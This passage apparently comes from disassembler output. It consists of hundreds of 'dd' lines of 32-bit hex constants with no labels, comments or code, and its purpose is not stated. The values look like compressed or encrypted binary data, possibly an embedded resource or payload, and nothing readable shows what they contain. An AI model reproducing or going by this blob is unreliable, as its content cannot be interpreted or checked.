		dd 0FA04C4B0h, 9E4330DFh, 0FE1A0F65h, 0B0E206A1h, 2018F79Ch
		dd 0CA05EF8h, 4020C430h, 58E511E8h, 655B002Bh, 0E61FD43Bh
		dd 468A4868h, 0DBE0F402h, 0EFC110A0h, 6F84501Dh, 0C1001B77h
		dd 0E47AA927h, 901A41CFh, 5A730099h, 6B9FEB68h,	0EE0CFC67h
		dd 0F8EF42DFh, 22952926h, 0E1F318A4h, 8C001F32h, 2617115Eh
		dd 31E602Dh, 0F3EE9BAh,	307C1448h, 2092F407h, 57007B3Dh
		dd 95A7D1h, 0B2736456h,	0A09D3A04h, 0D01AA13Dh,	0B607C22Ch
		dd 651D665Bh, 28E393E0h, 0C08E0675h, 89204069h,	1502B000h
		dd 0DE467FC9h, 5835002Ah, 0C10BD5AEh, 0FC00038Bh, 9FBA84CCh
		dd 0A031D45Bh, 18A089D4h, 5052EBABh, 0B028749h,	0C8C35B35h
		dd 3D48E8Fh, 7050EF9Bh,	449E0171h, 17AC38CAh, 96BC40F8h
		dd 1A149C1Eh, 1558D09Dh, 0B01411h, 55C93393h, 61EA70h
		dd 0E3377EF7h, 0F0710F95h, 2BA01C00h, 0B9C3F80h, 6838610Dh
		dd 8612C4F6h, 0DF921A41h, 0CB463C59h, 11F69919h, 542259h
		dd 0E98F9B10h, 0F656751Dh, 0D1160E1Bh, 0C53C64FDh, 4E1CC378h
		dd 6709934h, 73A0B418h,	0FB7006E8h, 791F10C1h, 96F15Ch
		dd 0DA1E456Dh, 3BA159h,	735488A8h, 5FE88422h, 0A0E54602h
		dd 0AA3DFFA3h, 0FD821090h, 0A7B3A4AFh, 11C2A590h, 7C004843h
		dd 715C0026h, 65A6618h,	0EE1E38CBh, 6E802CECh, 8BEA09D8h
		dd 89216E10h, 8A9F0320h, 510058ABh, 0BF99702Dh,	2AE7B3D9h
		dd 80C3F6h, 52381129h, 7B376488h, 7C01052h, 511FCFF0h
		dd 30839C80h, 10D0921Dh, 0EFA1CCCh, 98A9F6FCh, 0F6AC2831h
		dd 0D0DE9Dh, 0C17D0F85h, 3F209CAAh, 0C0353CF2h,	4A9D711Dh
		dd 0EB0B887h, 0A474E0D3h, 771A0D06h, 260A992Ch,	0D8E18E96h
		dd 0D363A003h, 0F6801C1Bh, 9EB109Ch, 20D58396h,	24E42948h
		dd 0F843B1Fh, 15036C49h, 8998D375h, 0AE6A6005h,	0F040CC8Eh
		dd 259AC250h, 63947FAAh, 209150F5h, 0DE8B2FB8h,	0E100D7F6h
		dd 437DE9F3h, 0FED645h,	26FD92CDh, 88AAB760h, 39218500h
		dd 0E8F3F88Eh, 5A5B1DA1h, 6E5E000Ah, 5967B530h,	6C889E0Ch
		dd 3E8310B1h, 9700D9A0h, 0C6DF6F31h, 3E1C9336h,	865F3985h
		dd 62F4AC87h, 9E572D10h, 0E81F0052h, 0E75B2E43h, 94E48E11h
		dd 62091A76h, 98CA2FFEh, 1BA109Ch, 0DFD45C9h, 435935h
		dd 1DB8CBE2h
		dd 0AE98AEFh, 0C5A34h, 0DFBDD33Eh, 0B149E92h, 4DC4DEDh
		dd 0F1A888Ah, 52F79488h, 2004F0C3h, 123E97ACh, 6394E402h
		dd 78AC68CCh, 88808B27h, 0C44CF5B4h, 82B38994h,	517FF1Ch
		dd 0E9B80862h, 0C4E33803h, 0B085EC20h, 9B3B8804h, 810EFA07h
		dd 8A34B10Bh, 440F4F10h, 0CF948703h, 0C00AA819h, 90B350CCh
		dd 9C181B5Ah, 0E8E0419Fh, 0F7121233h, 0A04449A6h, 0C901B40h
		dd 8B674Fh, 762FA7F8h, 376918E0h, 0C0632716h, 0D4131804h
		dd 0CC15AA28h, 385CCA54h, 0A2CC884h, 0A0B7A428h, 94274F86h
		dd 2290A468h, 6B1618A7h, 5001B49Dh, 16C4F735h, 21A1980h
		dd 0B0CC3713h, 261DC69h, 892AC022h, 4048128Ch, 814BC3B8h
		dd 0F7742478h, 0CD0AA53h, 8931C504h, 0A09A482Dh, 4CDF4BC2h
		dd 9E8944C0h, 0D4E5033Fh, 0E1E1CD94h, 0F33989B5h, 0D29C84F0h
		dd 8C10594Bh, 0E91EA0F1h, 0B7C09790h, 0BE1AB4A4h, 6D87010Eh
		dd 0D0D4EF57h, 83B08120h, 0A9C2F564h, 9B1ABC50h, 0F151C1DEh
		dd 48272CD4h, 0C1DDCD14h, 2D1003FCh, 8E0A399h, 4EAF6BB9h
		dd 1715261Fh, 10D000E0h, 60931A58h, 22549228h, 40751CAAh
		dd 9A4029DEh, 2E0B1991h, 0C6EF010Ah, 0FDA02D37h, 346AC846h
		dd 18F67102h, 0A13FEB94h, 746FC288h, 0AC26A5EFh, 0F01B5420h
		dd 0C9BCA11Eh, 9280A1ACh, 0AB604A4Ch, 83A00350h, 0B805F410h
		dd 0B36E9CACh, 6480EC03h, 64D0A4CFh, 0C2D1BF38h, 6FD7E049h
		dd 378B1AE0h, 0B349EF00h, 0DD4622A6h, 54E20101h, 6419D91Ah
		dd 28903245h, 0C91C389Ah, 181BC31Eh, 3083C488h,	0B845E4C2h
		dd 82A0D237h, 90025905h, 686F9C28h, 0E4C09F7Ch,	57C4269Eh
		dd 0EC204010h, 7E017907h, 72C1E4B8h, 0B680E303h, 0B68AED11h
		dd 520EF2C8h, 639EB877h, 580DCABh, 6C03A060h, 58980667h
		dd 6300512Dh, 831E1B42h, 18D476Bh, 0B11E85Bh, 8859FF75h
		dd 0BD79140h, 890BF6Bh,	6809AD3Eh, 278638h, 23C3748Bh
		dd 486EF036h, 0D30C5A4Ah, 6438D50Bh, 0ACF33406h, 2A108114h
		dd 0E4901D40h, 0A824002Dh, 0FBCED4C2h, 5B1C5394h, 0C7C39BB8h
		dd 82E1ED9Dh, 0C548406Ah, 40144042h, 963FD4B9h,	82008270h
		dd 0DD1D0332h, 0EAE700F5h, 174FFB87h, 0D67026D0h, 47619377h
		dd 9C2D22F8h, 1A0A4422h, 80844260h, 6B9DB889h, 0C892D8BAh
		dd 0C6BE9800h, 0C02A6592h, 0B6024A8h, 19B30EACh, 41F829CAh
		dd 0CCBE57AAh, 5B533763h, 0CB04898h, 5043DB4Bh,	1FECFCBAh
		dd 4B88B0Fh, 8118E36Bh,	9C534A38h, 17A0D728h, 303490AAh
		dd 9A12B84h, 8025F43Ch,	9830CF80h, 2E5A04C1h, 14701A0Eh
		dd 18888CAAh, 0E9F5EB80h, 0BB86DBh, 0CD814A5Eh,	0FF82FAC1h
		dd 94C80F48h, 212C0025h, 0F1639154h, 3902F4C6h,	0E4A639FBh
		dd 0DEEF08B8h, 0F1A7C00Ch, 0CC3812C2h, 0E510C050h, 107ADA93h
		dd 0B303F401h, 128B739Dh, 989FD880h, 0B8142B6Ah, 0AB71348h
		dd 97449AE4h, 2C04C812h, 8C801164h, 1E475C86h, 441CD953h
		dd 0C89E1A20h, 0AC39194Ch, 48B3C058h, 3825EC34h, 0D00C3889h
		dd 93139E0Ch, 1447630Fh, 86FB61F7h, 2881A9Ah, 5D19892Bh
		dd 0C4C06AD1h, 80A81E0Fh, 55001D94h, 0B3F0E0FEh, 9FA3393h
		dd 78C450A0h, 48DEF8A0h, 1654407Eh, 920071ACh, 0E87F8887h
		dd 1CDBBE3Bh, 46CF1558h, 688E311Eh, 704C6A42h, 39ACB780h
		dd 9E00DFECh, 0E0784464h, 52980Ch, 0A9A7FFD1h, 460F35C0h
		dd 0D51331C0h, 2370BBh,	0DA6B09B2h, 0EA6A39B6h,	0BA0AEB3Fh
		dd 26F78B60h, 0BC4B0A0h, 1015831Ch, 1A0DAC0h, 0B52B687Fh
		dd 43F8A730h, 41494BEBh, 0ED82BF40h, 0CDE860D9h, 0C1C05540h
		dd 0FF2B5B51h, 738117EEh, 109451E7h, 0A5076C10h, 332B2C81h
		dd 0E0D08AD8h, 321C369Fh, 2DCCEF60h, 7FC33810h,	9CD8A956h
		dd 0C21D6072h, 0E747CBAAh, 285FE822h, 93A08820h, 881C96B3h
		dd 649318BFh, 2AC80C06h, 0AC500DE8h, 8C40F9C7h,	1826A3B0h
		dd 94F8940Ah, 9EE10413h, 5B9C00E0h, 0D8D961F6h,	0D62F94B0h
		dd 71696052h, 91948319h, 20A12602h, 3D0560E8h, 0CC00B203h
		dd 0F4460E0h, 5A70C1Fh,	0AB6BC9EDh, 943490FAh, 0CA80EA55h
		dd 30AF7810h, 0CF10A388h, 0C0BA4F5Bh, 8ABB6F00h, 97B20BBFh
		dd 4B6500DCh, 6A5587E2h, 4D407503h, 90A8A674h, 3477788Ch
		dd 8010D2D3h, 7EEADA06h, 0A24F5D2Eh, 0A5EC7100h, 315B36FFh
		dd 1429D7C3h, 58EC50C1h, 0E5FA4240h, 0A8A513Ch,	88684BCAh
		dd 12A9D066h, 53C0289Eh, 0D2D01E6Ch, 5A1845E7h,	580821E9h
		dd 0C2B450ABh, 41D6DCACh, 18C40404h, 5AE15640h,	91C1EFBBh
		dd 845B957Eh, 0A457980h, 0DBBB6156h, 0D40421D2h, 240275Dh
		dd 859395B3h, 0AB9E18A0h, 80839C30h, 1C678162h,	0A4C4F5C9h
		dd 103B8954h, 41620011h, 705AE5E4h, 5B781118h, 0FDD0A000h
		dd 0E23B0B44h, 842650F6h, 5688883Ch, 41E3BF30h,	65CDDAh
		dd 0FFA8D4C0h, 3F8F9570h, 29BC3800h, 0B346856Ah, 0B8D36127h
		dd 859DFB96h, 7B10DD99h, 0BFDBA041h, 84222893h,	3A707B77h
		dd 1930E7A9h, 3E5A940Ah, 0DD9CD503h, 7112AE7Eh,	2D143FC1h
		dd 9B11C0F5h, 62497FCEh, 3962D8B8h, 89631961h, 0A1186880h
		dd 33A0191Eh, 508A1A89h, 125352A4h, 11628ADh, 0F0282850h
		dd 9A422225h, 50B1B0h, 0D44E45ABh, 547846F3h, 942A1AE8h
		dd 5C02A0DBh, 1422D52Eh, 2440B499h, 26BCE9D1h, 4A8F4004h
		dd 0DD019A6Bh, 9F119BD6h, 918419BAh, 81474440h,	95E10C4Ch
		dd 0AC3CE431h, 8DC32AF5h, 55FE13A4h, 264C2089h,	61CA8094h
		dd 42543410h, 9E05F060h, 6451012Dh, 40D77CC5h, 0DCD1801Ch
		dd 9B1B0820h, 9E7F0ADEh, 154887BCh, 5FB2BC43h, 992D1236h
		dd 8BE44366h, 20097CE1h, 27F9C2F7h, 0DD842C98h,	26641A03h
		dd 54686128h, 88706342h, 7D144895h, 808C921Ah, 0DF19E763h
		dd 1FEEC5Ah, 0DE431C4h,	31F669C0h, 85705124h, 17A56038h
		dd 0C7F0F75Ch, 0AA476796h, 2032DEC5h, 5930810Eh, 0A0426D8Eh
		dd 0B09C4951h, 88E50889h, 0C1BBA441h, 6510241Fh, 838F760h
		dd 35F6862h, 5749378Bh,	21F03682h, 4E0F3B4Ch, 0A0348599h
		dd 1A74C36Fh, 8C25029Ah, 0C4E32CB6h, 7EB8BF80h,	30E79069h
		dd 74006FC8h, 39109329h, 0F523749h, 72D65F88h, 0CE185E40h
		dd 0D2008B17h, 0A4C4E2BAh, 0C37BB5BEh, 38757840h, 931E8AA0h
		dd 3F44D200h, 797C834Ah, 76F0053h, 17CAC51Ch, 2C1FF79Ch
		dd 0BE40F2E6h, 536871C1h, 3722027Ah, 811E8090h,	48D74C4h
		dd 81F8EA57h, 3D23818Ch, 0D840C68Ah, 0F4EF3211h, 1C1C8483h
		dd 68005994h, 8B2DCBF3h, 0D7BA00F8h, 0AEC17DC5h, 5437323Fh
		dd 8240407Eh, 7BEF3C5Bh, 4A7783h, 86657975h, 0C21867EEh
		dd 0B3EDE21Fh, 91AFDD47h, 6853B171h, 613F2100h,	380D8740h
		dd 5C8F5584h, 5A807988h, 96C55D0Ch, 0F8A6EB00h,	8DC111FEh
		dd 80BE01E2h, 0D4C6F33h, 5B71E43Fh, 4B0B6310h, 12385626h
		dd 0BA942E28h, 347A8607h, 0F3841753h, 47A01092h, 8B005C4Ah
		dd 0EE5E3C79h, 7FCAB51Bh, 0B6702Dh, 0B39EBFDCh,	8D3372F2h
		dd 401C7E00h, 41234357h, 3D390421h, 80478338h, 76F7905Ah
		dd 5F203Fh, 0D2F6E6F3h,	0EAB87BB3h, 8040C140h, 5A5522h
		dd 71462147h, 1DD9F14Ah, 0AB060h, 2891AC6Ah, 0E3BAFA92h
		dd 8B7BAF39h, 3471B5h, 904922DBh, 650C0143h, 644A42D4h
		dd 8CCDEA5Ah, 2F5F405Dh, 750F8B87h, 0E0716F53h,	57381148h
		dd 49960047h, 859287Ah
		dd 0A100F369h, 2C019119h, 50C84Fh, 6872B5B7h, 40388B89h
		dd 1A8C9E00h, 4733D641h, 73561F4Fh, 0A15C34h, 2491175Dh
		dd 0FC001FA7h, 0BC45E8D2h, 1993EBEh, 382384C3h,	0D0277E5Dh
		dd 593E83DDh, 7900FC3Ch, 66F15642h, 712291BEh, 0E3F700B6h
		dd 0B1BA8BB3h, 0C30F677Bh, 203D1E19h, 0D53C3643h, 537C0044h
		dd 4876895Ch, 0C5ECF2A1h, 0ACE8C82Ch, 0E7DB250Eh, 6969B87Ah
		dd 45BE224h, 0B5F0A7FFh, 3BE467h, 45D76D9Eh, 40BA9392h
		dd 34A539FAh, 0EB8458h,	649AE3Fh, 0E495C141h, 3C024502h
		dd 0B8BD73F3h, 3EF0401Ch, 607F28FAh, 68BE19CCh,	0B900E18Ah
		dd 0D7623B46h, 5E1C7Dh,	0E31ABF81h, 0A197F419h,	714029Dh
		dd 0F9BD04CEh, 345900B8h, 6FCC3671h, 3EDA3DB6h,	0C4692C8Eh
		dd 45EAB8C0h, 0F000AE9Eh, 3A53AA8Dh, 0A03B72E2h, 8A754Ch
		dd 0A4A00E02h, 9C982F65h, 212C08CCh, 29200D6h, 0E8F0A62Ah
		dd 5B001BA7h, 790556BAh, 2D2CBBh, 0B963F80h, 8E75977Dh
		dd 2094E11Eh, 501C8349h, 0BF290014h, 9E729225h,	0EC9C8854h
		dd 17CCAC81h, 0CADCD17Eh, 0BE12B11h, 4B27101Ch,	9C7488h
		dd 0FC79BD63h, 0ED86F6DFh, 94B0A904h, 0E8ACE03Fh, 4400D022h
		dd 109D31A4h, 7681B0Ah,	26BBC581h, 0DB34F067h, 0A90FE85Ah
		dd 406F8FE3h, 0ACC28BEAh, 42175F43h, 1318C5ECh,	9214C100h
		dd 0A0209D11h, 0E022ECF3h, 989AB0BEh, 0D0FA09h,	0C622E4D3h
		dd 20839567h, 0B888464Ah, 5927400Dh, 0A354A197h, 80D23F7Dh
		dd 0F0BD93E4h, 44A10EEFh, 79613DB2h, 2E2320C3h,	5B9F1401h
		dd 50835027h, 0D1AF94AAh, 0E23BB00Ah, 0A6C0EC6Eh, 46A00A02h
		dd 1F22C4h, 0B9028ED2h,	0C4B14144h, 48E3A831h, 0A0535A14h
		dd 0BD02A1BCh, 762829h,	78E956D6h, 61110F7Ch, 0CE340695h
		dd 6E9F0121h, 0B379B156h, 0CC002F44h, 3192A2AEh, 0C0A409DFh
		dd 472AF26h, 873A9B0Fh,	1CE2B303h, 0DECC0979h, 0FC79BF6Fh
		dd 0C3DA8B80h, 4ADB5C7Ch, 123CD14Bh, 0B80B00B7h, 3E3C076Dh
		dd 0CA9A2D52h, 0D82C0930h, 3000A879h, 24392D50h, 8A1700DCh
		dd 0E97863BAh, 9FF6552Eh, 19EC0E14h, 19323F4h, 0A0E122EDh
		dd 0E86D19E8h, 0E5D612h, 0D72DFC04h, 9831AE9Fh,	0B6B4A09Eh
		dd 0B82FCC55h, 0D4002B23h, 0E340711Ah, 0D7123B11h, 18489AA5h
		dd 6C79D379h, 0E000890h, 0B5386BE5h, 5B0EFBCh, 29BB712Fh
		dd 0DBDC6009h, 7823EA56h, 0ECC1174h, 605673A4h,	0DAE18C6Dh
		dd 6A4704A9h, 82964BA3h, 487C59E8h, 0DF8F1780h,	9DB50F6Bh
		dd 342B9810h, 314E0700h, 0AFC71EC8h, 37DA3BA2h,	6A301F00h
		dd 186FC28Ah, 3462890h,	0EC560875h, 0CBC48478h,	56D9A240h
		dd 0AA001B7Eh, 5F1ABEAh, 0E00F9D46h, 4093189Ch,	960A066h
		dd 0E421111Dh, 6B2FC381h, 0BFDCEF26h, 3C8548AAh, 9B942A04h
		dd 74F8D0h, 5D9843BCh, 0F4F7D8Ch, 1FB346ECh, 9E29BA61h
		dd 0B8D4DAA3h, 8650C009h, 938F137h, 0DA995B52h,	60124009h
		dd 0DD073C40h, 0B592E580h, 0FC3F6410h, 994CF814h, 0F5412BCh
		dd 0C0740408h, 0A00C02A4h, 2122D446h, 20A8CF6h,	88F7BFE3h
		dd 0E99E1A81h, 1D8ABD5h, 0C49897A7h, 0B000EE0Bh, 0B2228AEFh
		dd 9F75B8h, 5CD1DB83h, 9DCC920Fh, 6FD37709h, 0E8CC0CD6h
		dd 622B4067h, 2108BB12h, 1A182801h, 0E1BE635Dh,	848C5100h
		dd 2BAB9EDBh, 0C319A6Eh, 88972814h, 0BB5AA4B0h,	4E0D20C3h
		dd 7C54C2C1h, 102658D6h, 0A498C508h, 80743E04h,	87166D20h
		dd 0F0B4EEF7h, 4C0AA6Fh, 0DCF8ECCCh, 72BA9800h,	787C95DAh
		dd 7760AB72h, 612EB858h, 496DD02h, 0B98310BBh, 445E3DACh
		dd 8C239D11h, 0EBF8225Fh, 0D07BD80Dh, 681A1902h, 0AFBCC4AFh
		dd 0C189CCE4h, 4B627CE2h, 35E4C054h, 0F1A31CDBh, 939E9006h
		dd 0A8A19Fh, 5496575Ah,	6AA226E2h, 0A7C37715h, 5C884EB4h
		dd 6B9C1F39h, 73F1C00Bh, 2CED7B86h, 0E0CEE609h,	8D3C84F6h
		dd 0DB22EB60h, 0FE38A010h, 0D4814CC8h, 0A7F222E3h, 0B161B0C3h
		dd 4B47DA2h, 6373A008h,	1560FC4Dh, 1FB48E94h, 13224C88h
		dd 0E3669E9Fh, 9C0624E0h, 9D521D01h, 0DF1026h, 70DC8B89h
		dd 7CA6AEFCh, 0ACE39824h, 229D9189h, 0D2BD58h, 12F33D15h
		dd 0D0A8A00h, 0A464BE3Eh, 3F7B0017h, 0BA6AC721h, 0C500A133h
		dd 0FF13AAA9h, 0EFAF69h, 0A5E1DD70h, 50D34684h,	0B5901F60h
		dd 90FA520Dh, 0F477E0F4h, 0C4E00C8Eh, 6A2024E4h, 0A8C06400h
		dd 312473Dh, 839E171Ch,	0F01C5208h, 5040A7B4h, 6FCCA1C1h
		dd 7234233Fh, 21ED4AD0h, 9D0B858h, 1EF2858h, 96941AECh
		dd 7458D1A4h, 2700CF46h, 973FA365h, 0F0E0B121h,	0A088E324h
		dd 144CD308h, 0D4C0BC1Fh, 17B4B9Dh, 0E89180C0h,	90BBDE9Fh
		dd 0A4A4F6h, 8098585Bh,	2EA8D1FDh, 188BC23Eh, 0E22159E5h
		dd 560B3F49h, 0EBA8B02Ah, 219C0998h, 56000369h,	2A8FF76Dh
		dd 12CEC79Eh, 380951h, 6AEE7904h, 3049E903h, 0A55D1368h
		dd 0F3C30E00h, 0C43F9947h, 62D4FC0h, 20105846h,	38989D13h
		dd 0CF2893E0h, 405C102Ch, 0AA338334h, 0CEB698EFh, 19E40979h
		dd 8855D5Bh, 0E0884911h, 70FA5409h, 0D8469490h,	1002A802h
		dd 0F433B4A0h, 290D842h, 0BC0B48Eh, 0B6FC7632h,	5B9D970Bh
		dd 0A818A067h, 7D9BCA61h, 0C5BF2ACCh, 0AB91059Ch, 0A851EA8Dh
		dd 196C5434h, 0B19FF102h, 63DBDDF8h, 4672D2ACh,	68FF00E4h
		dd 580256D1h, 0A600F8D8h, 0ED3696FCh, 6040D951h, 91562919h
		dd 2500C316h, 1AB78EFAh, 15EE914h, 11042EDFh, 0EC73CE3Bh
		dd 0E158120Ah, 4C5852B8h, 8CE6E8E0h, 0B7E56C00h, 268223D5h
		dd 799604D7h, 0C18E601Bh, 20B8A644h, 5C4FCC10h,	8957CC0h
		dd 4B789029h, 0C75CC4C4h, 403CAA80h, 78EF56E0h,	0CD226C46h
		dd 56D8A103h, 0C5FFF0D5h, 202BF084h, 6F0ECC23h,	0C9CB20DEh
		dd 22B86263h, 0E900F4BFh, 31F17D21h, 0B2D9AC6h,	86426B61h
		dd 7BB05802h, 8C45F466h, 30E38C42h, 8A115611h, 0A088DFB0h
		dd 56098380h, 0F414E617h, 0C1731692h, 949404C9h, 24051274h
		dd 488835E7h, 256C9410h, 51880817h, 74626014h, 0F50BD238h
		dd 479B02Fh, 8002B70h, 40DA0D9Bh, 3C053AE7h, 0A2C4747Fh
		dd 94FE0C80h, 0DC15510Fh, 0B4448h, 8B85B56Dh, 0D65BC378h
		dd 0DFABB1C2h, 0D8510198h, 0AEEC3009h, 256CFF48h, 8750A011h
		dd 98493Eh, 0B503CC2Eh,	6478F9ABh, 2810D600h, 619E1FB0h
		dd 46B12413h, 3A84288Fh, 2CFCE18Bh, 74581811h, 0B9004E46h
		dd 3377571Dh, 0CF323630h, 30944889h, 0DA1522EAh, 88A4E0A0h
		dd 0C0D99C47h, 0B1992722h, 6AFEFF03h, 0C1282F02h, 0C0CEF713h
		dd 51935CFFh, 0C4779C21h, 0A7016F23h, 0ACA00D02h, 4F89C073h
		dd 0E7AE2C80h, 0A09DABF6h, 8AEE05C8h, 145096D9h, 9E040CACh
		dd 0C838F56Ch, 89808B24h, 0A9EA20B8h, 65DCA000h, 832715AEh
		dd 0EC9B4CE6h, 80D4DD2Ch, 0B6F562AAh, 6E0BA48Ah, 52C003A6h
		dd 12A90028h, 0B678F01Ah, 0CB00F41Bh, 6B8C9EDAh, 2D9AC392h
		dd 58E09363h, 91C01B10h, 66DAB59Bh, 0BA78137Dh,	173008C6h
		dd 60CD467Eh, 0D99CAC54h, 0F9A8A4ABh, 2088B18h,	0C48CA011h
		dd 93D3402Eh, 5FC302h, 52BF8958h, 0C182261h, 98C77976h
		dd 27C5E9DAh, 48333C82h, 0ACA0368h, 0C694AF0Fh,	0DABE85E4h
		dd 0CA0849FEh, 3A4EF8D8h, 2123802Eh, 78DED101h,	283410ABh
		dd 78859F11h, 0DC906004h, 7823EB56h, 13EA118Ch,	6400749Dh
		dd 0E7A5B6D6h, 0B01B2D5Ah
		dd 9355D0E0h, 0B49C64EBh, 0E4465098h, 0A3560C02h, 9A31B7B0h
		dd 56048410h, 0B838948h, 2326999h, 7E126E5Fh, 0AFFD40FCh
		dd 0E50E8F54h, 820EA372h, 2B9E595Ah, 7E76A403h,	0AAC014C0h
		dd 849F822Ah, 20050B12h, 3DFDB71Eh, 0A7432498h,	99510304h
		dd 808B1495h, 4DC0CDC8h, 0A81A1096h, 0E0DFC4h, 0DC1F6BA7h
		dd 5CCBEA55h, 18123D74h, 0D0008FE9h, 15D0B074h,	49F960C0h
		dd 8B3C08FBh, 8A725D03h, 0B8E71746h, 989E10C9h,	0F560024Bh
		dd 0B75B9F7Bh, 0AC0EF44Ah, 560D8071h, 8CBFB0A6h, 0B7F3544h
		dd 0FE435605h, 0D401C4F1h, 7A8CB35Ah, 0BB0420h,	0E0E5342Fh
		dd 86AA93E4h, 0F4A00CBAh, 9800E18Ah, 0E2D8FE10h, 12B09C5Ah
		dd 43E65394h, 209F6B48h, 0C452980Ch, 0F9C61D4h,	0FFE8485Bh
		dd 0D06DAB86h, 0CAF26CA3h, 135BA001h, 0C840DC28h, 0A5F50B55h
		dd 0CC04629Eh, 56DA6006h, 0DC7821EDh, 5672A3C0h, 9FAB0053h
		dd 0F65A6F97h, 0DC0B5765h, 50DBAF26h, 5E189EF8h, 8F002E46h
		dd 745A93AEh, 6908FBDDh, 2E07B40h, 9E60871Ah, 12B2041h
		dd 0B8513258h, 94DCD6CDh, 52EC00F9h, 0C8BC19B2h, 0FB0047E0h
		dd 0F8EB11F7h, 95A81E97h, 0C4AA3C60h, 54BA1C7Dh, 2004564Eh
		dd 94214C5Dh, 0DB3B12D0h, 0E6395868h, 8504F90Fh, 380D045Dh
		dd 15A6E8C1h, 0CBFCC114h, 0BCE00097h, 9734038h,	0C9369505h
		dd 4F9C011h, 0FEF1620Fh, 0F041068Bh, 92202CACh,	8C79B42Eh
		dd 0FE5AAD05h, 2480853Bh, 265B3486h, 8950A01Bh,	4C6D20C1h
		dd 0C6581CC0h, 47BC5ACCh, 0D0656F24h, 0B18E47FEh, 2BE9B901h
		dd 0DF4BCA28h, 4444C2h,	0B8D16CBAh, 85C3350Dh, 0BE592416h
		dd 0BA898E0h, 3E1E745Eh, 0E8988072h, 0E9178F46h, 48B90522h
		dd 0E88BFEh, 8722E1D2h,	2E4E2166h, 3829CCAh, 950BA0F1h
		dd 6250F5BCh, 3C0B4E70h, 91F89F11h, 5FD7802Fh, 485B2E96h
		dd 2D2D58F5h, 0A6BB7404h, 3F18B080h, 0D1CF6BBFh, 50E42045h
		dd 5DDD8760h, 0A2773A0Bh, 34FC10BFh, 67B70074h,	0FFB2E405h
		dd 0E21C6AD1h, 0F60340EFh, 19B27A3h, 3B3661B8h,	9F345E19h
		dd 216726E9h, 0DB6486FCh, 48301072h, 280A1A79h,	13EDA801h
		dd 6EAF2D24h, 6B2F3189h, 0F74E3C81h, 936440C2h,	700B1451h
		dd 1C941Ah, 0B379C9B8h,	1DC49E7Ch, 88413140h, 0C470DE84h
		dd 6BA4B00Bh, 0CCCC15h,	947C9B42h, 2A2FA248h, 0B74F1C0Eh
		dd 755C9E0h, 4110A982h,	90216B40h, 17C1E037h, 89E543ACh
		dd 0E05C6BCCh, 99B7A4C4h, 0DA9BF4E4h, 0B0C2C8B1h, 8D40C06Ch
		dd 0E028CE6h, 7B0A956h,	10341971h, 4560682h, 0ABFE583Eh
		dd 59F8F423h, 0F23ABB0Eh, 5F19E540h, 0AA17B4F9h, 0A170A091h
		dd 58CB963Ah, 64C3EC0h,	2763A39Eh, 6E749C40h, 2ACB0B1Fh
		dd 0B89680D0h, 4674244Ah, 0FF530245h, 0E4B35B23h, 3003BF40h
		dd 490E19BEh, 95BA60A1h, 32A8AC30h, 1750B06Ch, 64991A22h
		dd 0D4F91228h, 4085658h, 3E9CAD24h, 0CC01CE23h,	1B8CBB77h
		dd 0B850C8A5h, 60BB5FCh, 4B8496Ch, 0DB8AA0h, 0D6089280h
		dd 0BB2C4C87h, 8801D414h, 31279418h, 0C31EB085h, 48CCF88Ch
		dd 7A408B6Ch, 698F1F74h, 0C234CB33h, 0FADC5400h, 0BD7515DEh
		dd 0C8C41BBDh, 0E203585Ch, 89AA62BCh, 48FA3B6Fh, 0F99266A0h
		dd 0C4661E00h, 795CD706h, 0EEA50074h, 0E9E0CAB7h, 0EA007FCEh
		dd 0E513AA8Ah, 783BCF90h, 96F49EEDh, 0C86CD310h, 42D66E0h
		dd 4B38C8F7h, 0E1017003h, 24FA0F1Ah, 0C104F799h, 0C4F6BAC7h
		dd 984E4FABh, 788C7044h, 20FCA812h, 26C0079Bh, 31505EAAh
		dd 2B58E464h, 0DF6198D0h, 0EEEA0082h, 24D962F9h, 0C31C8C76h
		dd 4B00B119h, 5B9E141Ah, 80019527h, 0F0C4A5BBh,	70B81E8Ch
		dd 30F7C524h, 7F97B58Eh, 400401D6h, 0D8144D47h,	8E2EE8h
		dd 79B4295Eh, 0D7935258h, 0E0186CB4h, 1546C49h,	0C29049C1h
		dd 33DED3ACh, 0C1283A2Ch, 9AFBD841h, 0ECB35A00h, 0F86A1140h
		dd 5898A9F3h, 0FF001432h, 30FDABDEh, 0F100AA4Fh, 0A847665Ah
		dd 7F9CFDCh, 0DC11A5Ch,	0C8CCE1E6h, 0C44F7EE1h,	19CCF08Ch
		dd 52862A1h, 1B118417h,	0E223EF23h, 0A5560A05h,	84430CE8h
		dd 7E039B22h, 1FDB5602h, 0B072F8B7h, 5870C206h,	0AC13EF18h
		dd 0B4B870AEh, 9B609736h, 49ED4232h, 0DC4F170Ch, 99C00F95h
		dd 0E222C4B0h, 6B63A002h, 0C494215Dh, 0C1071648h, 0A049A75Bh
		dd 6B21B4E0h, 322797F4h, 0EF309118h, 0A0DF1622h, 0EC9839D8h
		dd 353022E7h, 0A580861h, 575B2D98h, 0D342A083h,	0BBBA283Dh
		dd 93D63FADh, 0DC5F4793h, 74E86919h, 0BB888041h, 0B3AC5869h
		dd 6604400h, 9C5CFBD3h,	0D61C309Bh, 90C4F860h, 0A000ECB6h
		dd 44BBC017h, 206498C3h, 263C206Ch, 0C4B30C53h,	3FD72914h
		dd 0AC8C89DDh, 7848389Bh, 24941B10h, 0F119B801h, 5020C4B0h
		dd 59739CACh, 9DF00D6Fh, 0B8E763CAh, 3EA982BFh,	4003F1B1h
		dd 389B32A8h, 45A89FEFh, 461521E0h, 8081AF10h, 828CF6Ch
		dd 73F24440h, 8F7E321h,	181ECD7Fh, 0C899C48Ah, 69042084h
		dd 8A95F8A4h, 0BA08905Dh, 0D75B0060h, 34011F6Fh, 7909A838h
		dd 85E9A0D3h, 54C85234h, 2B5B7C15h, 90CEB39h, 80178A37h
		dd 8F802E91h, 78741D61h, 252CBB14h, 0D7C58A8h, 0C1461013h
		dd 0FE4385D0h, 253E1FBBh, 7A3A411Bh, 0F4A6C1EDh, 9B24D51Fh
		dd 5013DC16h, 0BFEEF441h, 0A0DBE5BBh, 78925FBAh, 0E8C05861h
		dd 0CF48445Ah, 5C2A2418h, 0C8123523h, 1D1098E8h, 0F060014Ah
		dd 37867DFBh, 6810587Ch, 9004CE1Eh, 9E7A7302h, 8457849Bh
		dd 64F2BB84h, 0D630CBE2h, 78AB005Ah, 3FF2F995h,	90060E4h
		dd 83BD34EAh, 0B3DFCF11h, 0E34B0088h, 0C24C76E4h, 0DB94B004h
		dd 5A38DFF3h, 0F1E93060h, 1FB30131h, 42E1764Bh,	93E503DBh
